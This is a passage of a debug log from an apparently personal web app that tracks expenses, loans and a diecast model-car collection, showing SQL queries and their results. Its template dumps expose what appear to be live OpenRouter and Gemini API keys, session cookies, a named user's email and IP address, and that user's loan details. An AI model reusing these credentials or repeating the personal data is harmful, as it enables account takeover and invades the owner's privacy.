  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-21T16:45:27.455Z server-connect:output restrict: undefined
2026-04-21T16:45:27.455Z server-connect:app Executing action step single
2026-04-21T16:45:27.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-21T16:45:27.458Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '10',
    total_remaining_amount: 220310,
    total_paid_amount: 837178,
    percentage_paid: '79.17'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:45:27.461Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-21T16:45:39.451Z server-connect:router Serving templateView /diecast-reports
2026-04-21T16:45:39.451Z server-connect:app Executing action step identify
2026-04-21T16:45:39.451Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:39.451Z server-connect:output identity: 1
2026-04-21T16:45:39.451Z server-connect:app Executing action step restrict
2026-04-21T16:45:39.451Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:39.452Z server-connect:output restrict: undefined
2026-04-21T16:45:39.452Z server-connect:router Render template diecast-reports
2026-04-21T16:45:39.452Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:45:39.665Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-04-21T16:45:39.665Z server-connect:app Executing action step identify
2026-04-21T16:45:39.665Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:39.665Z server-connect:output identity: 1
2026-04-21T16:45:39.665Z server-connect:app Executing action step restrict
2026-04-21T16:45:39.665Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:39.666Z server-connect:output restrict: undefined
2026-04-21T16:45:39.666Z server-connect:app Executing action step custom
2026-04-21T16:45:39.666Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-04-21T16:45:39.669Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-04-21T16:45:43.943Z server-connect:router Serving templateView /diecast-worksheet
2026-04-21T16:45:43.943Z server-connect:app Executing action step identify
2026-04-21T16:45:43.943Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:43.943Z server-connect:output identity: 1
2026-04-21T16:45:43.943Z server-connect:app Executing action step restrict
2026-04-21T16:45:43.943Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:43.944Z server-connect:output restrict: undefined
2026-04-21T16:45:43.944Z server-connect:router Render template diecast-worksheet
2026-04-21T16:45:43.944Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:45:44.161Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:44.165Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:44.166Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-04-21T16:45:44.166Z server-connect:app Executing action step identify
2026-04-21T16:45:44.166Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:44.166Z server-connect:output identity: 1
2026-04-21T16:45:44.167Z server-connect:app Executing action step restrict
2026-04-21T16:45:44.167Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:44.168Z server-connect:router Serving serverConnect /api/diecast/list
2026-04-21T16:45:44.168Z server-connect:output restrict: undefined
2026-04-21T16:45:44.168Z server-connect:app Executing action step select
2026-04-21T16:45:44.168Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:44.169Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-21T16:45:44.170Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-04-21T16:45:44.171Z server-connect:app Executing action step identify
2026-04-21T16:45:44.171Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:44.171Z server-connect:output identity: 1
2026-04-21T16:45:44.171Z server-connect:app Executing action step restrict
2026-04-21T16:45:44.171Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:44.172Z server-connect:app Executing action step identify
2026-04-21T16:45:44.172Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:44.172Z server-connect:output identity: 1
2026-04-21T16:45:44.172Z server-connect:app Executing action step restrict
2026-04-21T16:45:44.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:44.173Z server-connect:output restrict: undefined
2026-04-21T16:45:44.173Z server-connect:app Executing action step select
2026-04-21T16:45:44.173Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:44.174Z server-connect:app Executing action step identify
2026-04-21T16:45:44.174Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:44.174Z server-connect:output identity: 1
2026-04-21T16:45:44.174Z server-connect:app Executing action step restrict
2026-04-21T16:45:44.174Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:44.174Z server-connect:output restrict: undefined
2026-04-21T16:45:44.174Z server-connect:app Executing action step select
2026-04-21T16:45:44.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-21T16:45:44.175Z server-connect:app Executing action step identify
2026-04-21T16:45:44.175Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:44.175Z server-connect:output identity: 1
2026-04-21T16:45:44.175Z server-connect:app Executing action step restrict
2026-04-21T16:45:44.175Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:44.177Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-04-21T16:45:44.177Z server-connect:app Executing action step select
2026-04-21T16:45:44.177Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-21T16:45:44.178Z server-connect:output restrict: undefined
2026-04-21T16:45:44.178Z server-connect:app Executing action step paged
2026-04-21T16:45:44.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
